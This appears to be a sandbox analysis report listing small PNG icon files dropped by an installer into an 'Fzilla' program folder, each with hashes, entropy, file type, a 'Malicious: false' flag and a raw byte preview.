Preview:	.PNG........IHDR... ... .....szz....^IDATx.b..`....o..+..E.....l{l.g.m.n...j#....j.L.ws;.w....^.`.....pu...;y.\|.(.{..o.G..K.Kg\|.K..K.&..<F...O'"..\d!...92[r9 L.Vy....4.BX.H.g...&.....(.mB..f..h.,#hr.Ge2......E..Y.w.!..M..\|a.sh..bz..;..;o.^M3a...o. ............r..L..v.\|....rV.:w..+k.<,.;.Os....9..1.....i!.L$B...ct...l...q.....g.....m..:.0..e.U.......W(..\|<.J=.U.!.....%..M.q..+~5.l....?..]};.3...HN.a(...\|?.....o...........K...m.Y. ..v... .i.U..g..a?.....y...-.....k+..A...M<...t...z^.....d.5$z+.......n..8O..9.<.B.}....... .@.....C?. .,.0..3p!.1..!.wU.C)NnMn...a.S..n..[Z.i..z^.9.k..lx.c_M.#....zC(........Jg..8...`.g....:Tu..+..J....q........{..Z..A....-...A[\Vy.V....q.l.*.T..A..\U.a.....L..b..](<...?q.....{oXT..F.Eb..I..#.!..t>B.+c.@...q.R...0C`.-....:..:.p.wA-....nMr...D.c..R.......:w.k...K...W.......[...........z8@..........c.j`....4L1.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	7.802476767974719
Encrypted:	false
SSDEEP:	24:BaxDSWJhog8pm555MpvcpaTd1FRPzlWFNqfeUpQMKQLi3L2tN9NlitzPSDP:o9SUhoE55MpkajhkN4eUpLLE2X9Nl57
MD5:	4C78D67A172724938B7912CF0243F560
SHA1:	589F829DA203349EA89CB587CCA504DD8FBD766E
SHA-256:	4BAA62D7F150CEEBE6FCFCDC5723AD866FBD14F8F9812A6BD6F4D791627B020D
SHA-512:	3A9F7489FD2EBA90837977823EF89189C007FC1B4F28FB1F372BED49C90E23981F331BA41F73477E72B8EBCFD907C65DEBAFE1EEBA1767562F0C8B6049299AC0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......Y........]m#.N..m...Y...Faq..;[.....'..>../s...i.f...\.sF....&<6d........0G.<.......1..O..A......%..&O....I.p.!\..D:'.1\|!.....cn..........D.a.0yb4........CXTL...(.ME\D8......._O......k...!33.Y...a....^<..%...'....MsA.a..g.F..M.....d.......0a.7f.b.g.B$.S8.b".!...k.~.(..j3.T.6`.L..w.:....&.)..0....<...1\.@.>.a.N.. .o.F...Clt0.Ba2a-..a;....&=..P).....M.W....4x{...........p....O3x...`_?..y!S(B.b.a...v....d...%e..J.+P[W..\.Qq.8A.8.&..T.o..}..F'....B........./W.N..l/.{..Y.....r....._x,\|.c......<xxy.d.{..m!......y..0....$.B..I.7:....-...:.j.j.Q..^..^..Q....F$..">&..{=..oR.v..N.91.!......?^.....{O..P&.m...hA.A..S).......8.....t.34?.P7Nv.X.0....G+.Z..Ji=B.....d..p.]..c=...2[.0{.l%0.BOCS[Y......&.`..p.&b.d.`.a..x.....G.D./.B$d.....t7..'..h...,Q.P/_.n..5n.q..}8..b..3..T\Ns.N.E......k.3..ns.....t6...a...X.f.......L[.....c...`...hO@?....1Y(..{2..p.].=Y.d.?.5....x.....T......%./S.\|.H.z..TO..Wi(VO..."9...v.x

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	323
Entropy (8bit):	6.930881261923216
Encrypted:	false
SSDEEP:	6:6v/lhPKq0yAsdsKrZqmHK7tSDenLiHO1DBtFVEF9ebFAfklLvuJ0aVysV7llVp:6v/7iOaKjHK7t1nt1LM9ehhu2av
MD5:	77350FB05779C6B1AF43FA9836C5ACC0
SHA1:	A76FE4E856F57F6211FDAE8CDC3DEF1740246A02
SHA-256:	54FE6596F5997C99501B0BB83959E25127D2A9AE39CBDD57C9AABC3527915249
SHA-512:	838143D02BBA889D0B5D1346AB11293868177E6581A383A0E92117CA72DA992C33328D53FD443B7533F49F1BEA47DDB7EA778908FE3E5619AA4A7296E58D9FAD
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.c..`...Q0..6....k.x%...b)z;.?.....9@c....L....8@.I....3....%.....9......@..5...E..rg...1?./ES.......6.....cH..@...Z+JC..d...Z. ......gH..;V.a.'...2<....,.b.3...x....9.X..yq`.... N..y.`....8`!....o.0.....7....5k%)....Z.].8`9...~H9....p......<*..lv..".....\....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	517
Entropy (8bit):	7.411552387975486
Encrypted:	false
SSDEEP:	12:6v/7iK0FAIt0qc+nduoYtRTvkm0PJo/vZWUQUvE693b2Hc:DHtG3oYttkm0PJonZ0Uc69L28
MD5:	23C5C91CB1648C404F308D89F5390CA5
SHA1:	D5AFA23A94EC4DF4EDF150AB38D364AD14283AE4
SHA-256:	798D544BF4999058189B7EC2B848ADBCEE3D8A407AC8E1322B3079C995E82773
SHA-512:	9EC93033DE14B11E70710BE2CC71E6C90A35B0D179C797DBE88C55FE93D58252778D435D5A42D1CEBC223ECBF423647A8E687224E94DB5D424A552F4444337B9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b.....`....J@....F..P8.m....EC0.m..-..`......z..\|u....1PK4_b....b.71Ck.J"c..ODH.x..).C.Q.R-.." ...pX...-....h/.9 ..Y.a!...2........U......z..6..%.......oo...C.vC.E.@.nqEL.8.....Y..;#..+.V.1m..[........F.i......&. ...S.B..K.......b.f.....fY..,)..7....%!M.?."VC.....1........!...XDF.I.@.....N\|C..l..".a<[.............]Y.GZ...%.]..P.?r@..J..c.v.....A.I1\|.)&.!.m.....[%/....$Q...^.N.^............Q.f._.P......._.....(..5.....Yo.1..r.S.0....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	441
Entropy (8bit):	7.279474191847172
Encrypted:	false
SSDEEP:	12:6v/7ts542jG353OlOnjwT8Dqv1juUB+yZJy6/7:KugdZj1ku6byK7
MD5:	068B66A4C4B5A6F590DB1FB04C8B2E85
SHA1:	0F58F1CD251B4673A94C9C54E9B95AF1D1807938
SHA-256:	66975981A4F7015B7242368B4C42E56CE08C2C9F34B2B66C9DB0E6B7D32727F5
SHA-512:	A16399D497CD76C34F5C905A8BD1F567DD6377B8A61B98BD9643A942359BEC734FB55F39A7F2CBA46DAC67537EDA4479EC366EBF7B18952FB9AD63238A4CD91E
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATH...N.P..q......L.\..7.c........._...T0J.........7. R........r...M}..z.8Pf.......F.....8..9G.b_.l...O......@l:.W...3..2.I............'.YQ.M.\|0P..e%P.d.Z..bI.T(Q..a.....3DD.~%P..n~._.@.knH. ..;...4,M.N...<.A...y......d.q.X...L.;..t.....H.u..k.1.....2.......&$Q%0.P.Hk....<.$.t.eB.9..D.cT.'@...5<....z.d.r.<.?c..`..P...I.a...\|..A..yR.G.]..%.L..Ab..Y..."...2.{M.../...{U^$.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	261
Entropy (8bit):	6.739556990779287
Encrypted:	false
SSDEEP:	6:6v/lhPLGsesANvYMC7DtU5BSjnCbDp5U0xp27OAypv8tVp:6v/7u85tlnCbDpXxkCL8t7
MD5:	5D8B8946A30BB2C937574BEEA0099799
SHA1:	3436DDF9664B9317043EE3EFA333800B4A8FF06E
SHA-256:	25069280D25BB2591BEACEEB66479CCE2F36C718313AF8930CFDE0BB64DF8A0D
SHA-512:	285D633CC6567008209BCFC54B382777B8861250F87530E438D323086D0D130064176648B0CAA5543A4CF0131C6373ABEC4467B44B7851019C20C8F307FF58C9
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.c`..X@ia.<.....v......c.n<.\'..=M.......W.0 sW..(.0....h..........&..e.....{..JE.,.O.......Ud%1A.....C.`@F.T..._....Kf.....J.'...o...\Q.Z......Fr..74...k.O.......X..h@'%....-..0A.x.j..h9=.h..3...;..s....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	7.769033660075704
Encrypted:	false
SSDEEP:	24:doZDRE+8OP9PEsCF7VGjwZ807DJIPsABKGepU5VOHj6DQ7i+b7IWLCD2FV4ur3RZ:dmDRqO9/CFhis8QJIxKGe6WHjPi+gzCr
MD5:	571139604559E9727B009FC0F0A35026
SHA1:	274EE59BE11A96107B08552EF9DAD24DCB37339A
SHA-256:	03679E8752ADAA16606C34C3AF796FE55E9629BC2B674635BC9333155CD008A2
SHA-512:	4ECF8B27B2746A935CB9AECEB2EE45A3390D80DA2ED5C509B593E9A7EA26B2995327686D665FC37C81E14B08549DDD6BFA1FD8D454BAF3B3AC9C88EBF2F34F22
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..Kl.U..K.T.K......A....L.3mg..i.A.-E ....-.P. .&.]..@...$..........+..,..c.&..h...?O.!...,{..nr.....9'..[..X..x.p:..D+D'D.3...N.6...?..c.oE7D......wStM....(...1...3'.9..?...y..mYgMC.w.6......:.m.{..........nr.4q.=7..?...@..V...)..4./.Y..........by]...<]..YQ.-.g.K2o}X.Dum=..IB\... ......c..5.4j.\..6K+(Z....L.{8.....bx.6P......n..R....b8..]nV.t..?.t....x{..pr...1..@T...u....b..........N....i..D....QLG.e...."[zC.$...c#...&.p.y.x..{.....D'.C."3.xVr..=R....>.t.a......s..7....x9.L....f...Q..Iv-.u.....s......}d.7.....`......g..Q2...q.........Q.B.^I...lk...p<.M.<.&.\......s..B..o...z...dm...:..@.R....<.D....d.Z.....Q .....V8...L.e2.r.,\|...D?W#O@.x.......@...\|.-........[%U....9..s...d...^...X7Ke...h...._\|..#K.....za_7LFaw...8+..`Y......r].:7.}k...fWb_.v..2<.o#..;.c\l..\.j..\|.!(J..'.{...<..(.;2.@...L.q..n...an6-./D.h...2C.G.p.....l.Te\....n.7..@.D..&..{.;.qzJ.........r}e...@\|.A.,./.'9.......@...^.Z

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	598
Entropy (8bit):	7.537757732037882
Encrypted:	false
SSDEEP:	12:6v/7if3qTZx/dtbZqEIgdSBQOxKB61lmJDm64TfI7yQDBcMSsIMtSSpez:FOdtblvsBQ9B6XSmvTqHSKSSq
MD5:	DAB0B46E390CBC837F2A9E782DBB10B3
SHA1:	7AE0A5F2E1E13516942E2745929EFEE42B0AC8AC
SHA-256:	2FE8B33BBEF00E5B80A9BB7605062C27EAC25F252F14883147D5DA9F7E899F34
SHA-512:	CC2D7591989AC021590A7CBB6F6AB91C2E077E01D9B09B1DD4A04286DF43422F0A0EB67428BF7B8A4FF6DC6CEE725D798FE5910FC2D2784A2F51CC8A16EEA45E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..`...Q.h..`...8.7.c.m...c..M1g.m..l...5..{._^......e.L..!Se.t...N.....6..$....W.x.....5.;.%f.II)..e....k..k./...V">...."....:...p{.s.U....O..`.B6t.....g...[..+.+.....;[..6./.{...6.....Q.Z....N.....YUjH....:.R{.i..]N>e.....T......q,.0......N.wC.P...R-....a..N..p.e."t,..y..W!.j..{M...;......G...SjAR.h"&........./..D.. ..z."..o.....A........?..!.!......l.lw..y.........p........-x}.( ........e%`.i.^.......,.....1...i.\T7.xy...o..E. .k..H......+C.{lx.-EC..S.j"..X.:..^2W..B../$..B.....E2KJ.kWb....d/.9.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	449
Entropy (8bit):	7.277585752281084
Encrypted:	false
SSDEEP:	12:6v/7iCkuQ8/YRFeCRbSOPruSPXImLrhML+dBuZ:wkTZneorVXImfhML+dQZ
MD5:	EA3731B3EFD45B81ABA07F4AAEB59B25
SHA1:	ABF886627761F703AC965FD4C25616DEEE5F748F
SHA-256:	48F5BDB69B41C56EE042ECA1457AD46A004F06CB320FF3179200DB7D931BE551
SHA-512:	91D83967AF974939A1924EEA859911D92CCED0EB26C18EB879F47B175F7F61E29DC0097CBFC6B93D57EEE4E431CCCEDC561A5345A34B3D4EA107545D417802CA
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....a.Fa.(..qwKpww.......>..K..\6g..~...`'..o.:`...+....7i..H.L.b.*9.c.~..s...h.\/..t.......H..+J.F.h.LI/$..y(E!g...).....cyg.rlS?.+.{..'.sV+. g7.k..y74.<_+...Q.E.Y....9.D..^..V.M.....:.y.....w!....0...y.r....D.....%h.E....."j;L....)ET.@.:y.....es.&.P..}:J1s.&..:g.....P.F.......j.C5..1T...P..x,...P..A.N(.X+ -.%..+..N.).n.T....)..% n..(!..........E?0.'.?o......Rt<.Q....]..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	7.095565135282059
Encrypted:	false
SSDEEP:	6:6v/lhPKqcOd9lJ/A8WNqCV7aDVhVybdPOUZO4gGgTTkFSk8nOvUyfW/Vp:6v/7iGnJI8WNV7UVfsdPOZGgsFSk9ch7
MD5:	900DD3CF8073F00DDE69E14566482C23
SHA1:	C1A02D6233708BB438351E6339EF8726A9A2BB47
SHA-256:	83E16FB1C48509C8606C8EDF5D8CCF9606D799CC1FF29E23155D6B6D7D24B187
SHA-512:	89D6D646A308E454134586C464BCD6BFE6FF630722610F30CF598B97480EDC8B39E9BAB71B7A20592E74B4553524F615ADAB057D69E2501BC89947CF3CC65082
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....D.p...(.#@.0I...h...d... ......%.........B.(.j.>.9-..7j..8....z.i.7s...a.......o..8.h..!.C...y......oA........?d<...f'.(.!..(._.tP......C..b.P;y..f......\|.'.6..!J..N.j...z.S....x...c...o..5.<.t.*..S.~.8`..X...".....5q.%D..OC.3..& ..Op..%.....r....s....5R.E.J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-0QPQC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.7114842030576245
Encrypted:	false
SSDEEP:	24:8DWzUWSGzofDOCHiCLaJRnca2ZYn8EIzNz:xPh+nrLaJRhf6z
MD5:	5974610B7E07C4AD482DCE665C396D33
SHA1:	69B97DE36EA06DAB7C6F7E88AB83E05D8CA20E85
SHA-256:	AFB397DB5228C74E78B2C98882716C666CD4E9C1B5678242DE47B0890ABFCE27
SHA-512:	4164707CD893054C6AE00C85A39F1D284211436EFF070F24DCDBC179AF172956EA0DC03ED86C63179AB114DD5EE82E0FBFCDD22E0A9DC0A05CE2F5CC982B897A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....^IDATx.b..`....o..+..E.....l{l.g.m.n...j#....j.L.ws;.w....^.`.....pu...;y.\|.(.{..o.G..K.Kg\|.K..K.&..<F...O'"..\d!...92[r9 L.Vy....4.BX.H.g...&.....(.mB..f..h.,#hr.Ge2......E..Y.w.!..M..\|a.sh..bz..;..;o.^M3a...o. ............r..L..v.\|....rV.:w..+k.<,.;.Os....9..1.....i!.L$B...ct...l...q.....g.....m..:.0..e.U.......W(..\|<.J=.U.!.....%..M.q..+~5.l....?..]};.3...HN.a(...\|?.....o...........K...m.Y. ..v... .i.U..g..a?.....y...-.....k+..A...M<...t...z^.....d.5$z+.......n..8O..9.<.B.}....... .@.....C?. .,.0..3p!.1..!.wU.C)NnMn...a.S..n..[Z.i..z^.9.k..lx.c_M.#....zC(........Jg..8...`.g....:Tu..+..J....q........{..Z..A....-...A[\Vy.V....q.l.*.T..A..\U.a.....L..b..](<...?q.....{oXT..F.Eb..I..#.!..t>B.+c.@...q.R...0C`.-....:..:.p.wA-....nMr...D.c..R.......:w.k...K...W.......[...........z8@..........c.j`....4L1.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-12F27.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1505
Entropy (8bit):	7.854236575747375
Encrypted:	false
SSDEEP:	24:sk2ANQPUm58rQVXFyddUaGsGGX9BwQYrHMdCJHvnmAX/Q3kmhb8qTMgz9BS6/HnR:sFAG58CXFCUMmQmr/mAXMkmhDTnBLHSi
MD5:	20D9AADC64F196C4A6F5F59940477FAD
SHA1:	5E5E4B53174C5D154EB73D70686ECC9E811C3DFF
SHA-256:	0A6342A748F6F0F8ABE80961E23A53C6509E5F5FE89C6B84EE73F30F5AB5C5D5
SHA-512:	C39AD122D27A2F81A8DFE0451D8CB9B2433966109B7AE3FFF7A2CC2E52C0A4135B974C574303B586473FEF3270A534112A8D9A45A26348B1007EEA2057345324
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..[l[g......s.......i...... jG.Q.Pmh.@....x.xA........H........eEj.v...^..]..kB.7..eM.....\h..Z!.4.....X>..?...S.....:....UR.....x.....o.xt.+.R.KJj.<,.'n....>..../.^...U.s.JJ..!...Q...>}.w/.(.{Cr...v%nOL..:b.OM..q....V]&.5H...:}.>.@.4..g...8Ng,.f..<.....HR....{.K3.........\.J8h.Yir.G2.U........w^?u...8JW(....r>...#..`~.]..........M.....G.~...m.........;.. ..P,...j...>B..<..@.r9......L...D...<.M...6..N.y.g.`q9.....F.R../0}....#.........O.vX.U......^.%m.7.#.Hn;......?.B......d1{...4./G+..\|...(%i...ny.x..(.,6+.Py.@;.p0....n...1.0H..d2......`.:....X...$...a..p....@$J[..M.R.PO.k....`...^.......B!?.-..e.:c.....%..:.t(.....^.j.Q....)..Y...q.......0.z.J.B .x@.m"........f .........->..Y..w..iz...2.<.E.O%..x...\..h....[.....Q.]#......../"../.Y..['.1su...f......\..2..+h.$..(..q..oJ...Q.T.K....(.+~..+..f.#{.0.w.b...=\|........$......yq.W<....mz... .{.....z..,./.....u]........l...N....e.@.......'....;....eh....

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-1UP8G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1217
Entropy (8bit):	7.740564574812406
Encrypted:	false
SSDEEP:	24:62EMIGKq1DkBwgzatU4vAlmXMUdlhLXArL6zzzQ2:6am1MBvemMUdlhLQf6zzV
MD5:	D1ACDC707E23F7EE928C86E5E5AEFC6F
SHA1:	F91A3440E35C44470B88666B0546B8353A9083CC
SHA-256:	7B840B9BF6F990940C61321345DF3F327CAE05944B02BCAAAC8E3AE815CD3952
SHA-512:	93A2190AAA583ABDE8B29C11FF9D210B55B373A41834EF52CB51A825FA92B912AD4D3DDC70F3A71946C404DC4D5CBF8D28FD8E865D708CDD5930C3334C0367C9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...}H]u..........w.i.....4.>..KPA.P1...i.6.xS%Z. .bH..T.s.k.y.].6m^.OK.nP0.e..VA....w......}......9.2...z.j.8..&Q..0..Mbb.jD...ZA.T..f....H.N.0.prr...N...suk....L....H]C.Le.7n..@...........OG6m..'..G...f..f..Z.....i0...v;..#..6a../n...F.@,..7u.?:3.by....o.R_L..-...GTr@.xCB<......".h..^.. ....X`c6[H.!....vK..X.@.0)....z.\..b`.....i^........%..TZ...j.....>.x."6............G...+C .q..F,U.o....'#..q....i$!fRS.' ..#..N.xQ. NB.1..q...S)..@ ...<.E.!.=......Wg.Y...~cv.\|..Fd...........C@L.....`.....^...=.0J.I=..Q....(E.. .q.qLk&...&,....5!..I8;...>Jb&gpm...b.>....(.(2...Z.....S.P`..Z.F.bam.Ra.:.^Fk..9..Dz...yC.z...........ajOu..=."Ri..0.)......YA.Q.Z...w...E....B..4........e.-.uL..'..<.K....6Wd.Q..s..W.. .".k.......d":r.E.......S3o>...^......rcD.+.x:....Q .=OSmx'.])..4.....K../.@R.q..NS.i..7...~..O............ G..\|.t9..i..0........Ts.u...q.z.`.s.O...r....}8./U...W.#...y.I4N.U..d..5..N.....UC.....i..tI>....

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-2GO30.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	515
Entropy (8bit):	7.403882283673057
Encrypted:	false
SSDEEP:	12:6v/7irjkUgv/BDhYdd7eOD+pi1Nen013fbruh2fpy4Jlz:NjkTBqteekifK013+8fpyE
MD5:	7B0B19962119DE23988AA5CBE21540B4
SHA1:	2333706E66A0AA09590205754794CBD8B1A1D4A0
SHA-256:	EA1C9D26F6EE41713A53B2B96D5B4B6A12ECB70B966C96001BFBD014F61D8668
SHA-512:	08E8551515225069DDC5EBFB0B94E85E91BEC0563D9032B03A68AC6B4763A5281500FB6C333F0C06C2475AA35711456890731DF53B0D3054F12AB382386F91B7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....Wq.G.m.c..m...e.5d.]S.........o........?..4.......bA8j.sX.@.A..C......I..9F B......GW..[..G..2OQ2..&#>..4.......a .S...I..{...Wr\.L...t[....iX.......9.Y..+..s&..C8.5.f.ER......-..J^.6A....g.......@..............".......&....>..4...&...3>..Bf...r.."...........x.......f ...p..M...v.P..-..JyY..B..W>........._pl</F...>...p..Y=.z.n?KI_G.,..O@B<.L..\|&,V@..4G...c.... s.#Q..Q..p.2...a....q.7<.p..z,$.zb..Cx..h....;?r,&.b".{........?....LD.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-2K277.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	441
Entropy (8bit):	7.279474191847172
Encrypted:	false
SSDEEP:	12:6v/7ts542jG353OlOnjwT8Dqv1juUB+yZJy6/7:KugdZj1ku6byK7
MD5:	068B66A4C4B5A6F590DB1FB04C8B2E85
SHA1:	0F58F1CD251B4673A94C9C54E9B95AF1D1807938
SHA-256:	66975981A4F7015B7242368B4C42E56CE08C2C9F34B2B66C9DB0E6B7D32727F5
SHA-512:	A16399D497CD76C34F5C905A8BD1F567DD6377B8A61B98BD9643A942359BEC734FB55F39A7F2CBA46DAC67537EDA4479EC366EBF7B18952FB9AD63238A4CD91E
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATH...N.P..q......L.\..7.c........._...T0J.........7. R........r...M}..z.8Pf.......F.....8..9G.b_.l...O......@l:.W...3..2.I............'.YQ.M.\|0P..e%P.d.Z..bI.T(Q..a.....3DD.~%P..n~._.@.knH. ..;...4,M.N...<.A...y......d.q.X...L.;..t.....H.u..k.1.....2.......&$Q%0.P.Hk....<.$.t.eB.9..D.cT.'@...5<....z.d.r.<.?c..`..P...I.a...\|..A..yR.G.]..%.L..Ab..Y..."...2.{M.../...{U^$.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-3MD1K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	523
Entropy (8bit):	7.428916394720977
Encrypted:	false
SSDEEP:	12:6v/7ijMAGf1CPZ1C7VWgFOadILMckmt+xc:1MAGtCrCZ5Sdkmz
MD5:	F9D1082584D7C2538D40183FE051D34F
SHA1:	588A9B0C1C3C42725EECA039BD07B5FE5058D58B
SHA-256:	6D862EA747EC843AF0CFCAC450A98A503D1A9546CA2579A39A7A6C371A934601
SHA-512:	A893A6F1935EC5409DD12D859E0C263FD189C6F86B6B3E03AC832136E131CAE5C81D4C91218BF624362EBF3024B19E34680E843711BDEE577B393E99A77B1FF2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......a...mx.j.m..k.m.m....{.,..<.E7..-.2....ZOT..5y..-.a..a..S....$..5.....~...H...+!C./.!.."I...`(..+......)....4xWU...H.5.`...nC.......;Y..i:g...sz.....a....t..37i......Q.....4. .O..R.y.4.L...).A;k...?...\|.....mC5 sO...S.x$...($.h....Wj....w.E.Q.. 'WQ#T..k@..He......5.`~.].{....[..Q..z....z...L.`..'..?e'M.7}..N...j.r.2.h....XG...$.......=...'.5\.Q;....D...jx....du..}......X.....'..:=.X....q................b.\|Q}.Rc..p........}.&..@....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-44GDT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.827955876112397
Encrypted:	false
SSDEEP:	6:6v/lhPKMxKuS/hdGVwqCWynnNleQlnom84frQPRY++oD7YP924/NWrkVWwbhe/jp:6v/7iMLS/hdGVwUynNl/nQPRYPoDGrYf
MD5:	EDCF58CB4674A1C184C9475EAD416077
SHA1:	34C6B3A5E2E0A0BFCD0B9AFEA0F4498F5E789B17
SHA-256:	BD2C5844A0CDB51E1F47664AF9DA534427196082C6FB6705F60174AE010A8F50
SHA-512:	38ED2628C3D838B8D1E7E89E122C06B3E2298DFDFF3F47370C730936EC58CD63000F5C093B60A0AC57C72E135B07FD8F13DE0FB4788D0578B1DDEA60578074E8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.c.T`...QPZZj...@\...@,.$.... .r........?.........;..S.xMU%\.....#Tq...........pqS7.h.....m ....D....A.....A..`..@,F..`b..;..O...0.c 6...0q.@9.=...T...b.J.e...?...@.D{..e.J.JJ+............l.....x.....@l.$.....+..&...@.u..*...`....e..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\is-47MAB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	697
Entropy (8bit):	7.634649699674497
Encrypted:	false
SSDEEP:	12:6v/7PC9PHJ5iduuI2hKbAn2r42+IwQiG1ciBadepT+3l7MZijYn4By4iCtN:k2HHz3hAn2GIY4odQGle4Y484iCtN
MD5:	88C6CC7ED1BB843E2DF90D02A1E77BCC
SHA1:	D9F4CAFD0337504EFD2345CCEACAF93C11084797
SHA-256:	0C01D885F5631C6728F6D2BF14B25362543F40F8848D6389C4C87E7E2BA17C27
SHA-512:	DE22F6F26B2B11581241078B29869AC73DD4BAA2AB05A29F1A5AD6C5D316DFF499013096C44F47789745E9C987DD6407C5FE7F63CCC7CBC41CA211341FD9010C
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATH..;LSq.....a.....`.qqq..8H....(.!hP..1.B.u.Q.....[.....RK[yk..bT..4 P..x..}..d<.r_..{rs5...,.R+.rZv.M\|....&..F.5.,.m...Y^...H.. J.R...4...'.i. 6M....6AN.)L....lY4.e.....*..M3..b.Js...y#.9rB..J....(:..-4n...1\|(./...S@.L..?.T.B.Wc.p.y...V..PM.-............/.....>...K.~:..xA.B...W.5..L...!.Q...3....DA.!....y.nFX..:.1...M.....@-......$. ..yo...c.v...>....2.N...2....+qH^.`.(#..(%...s.Z...$.CW.+..%.7.g.t&..'..1.<.L"...c.)J.....f.s....)...p.f,..Bh..Y....h`..:R..q..X...V.G.+Ts.:`..d_..a.B..\.U.....('...xq$.._.Z....3...7.`.0...Nr3..k.i...,..J`c.P.yJ+/b....ug..6...C....K.)f...O3...$................z....j....O...{.4......IEND.B`.

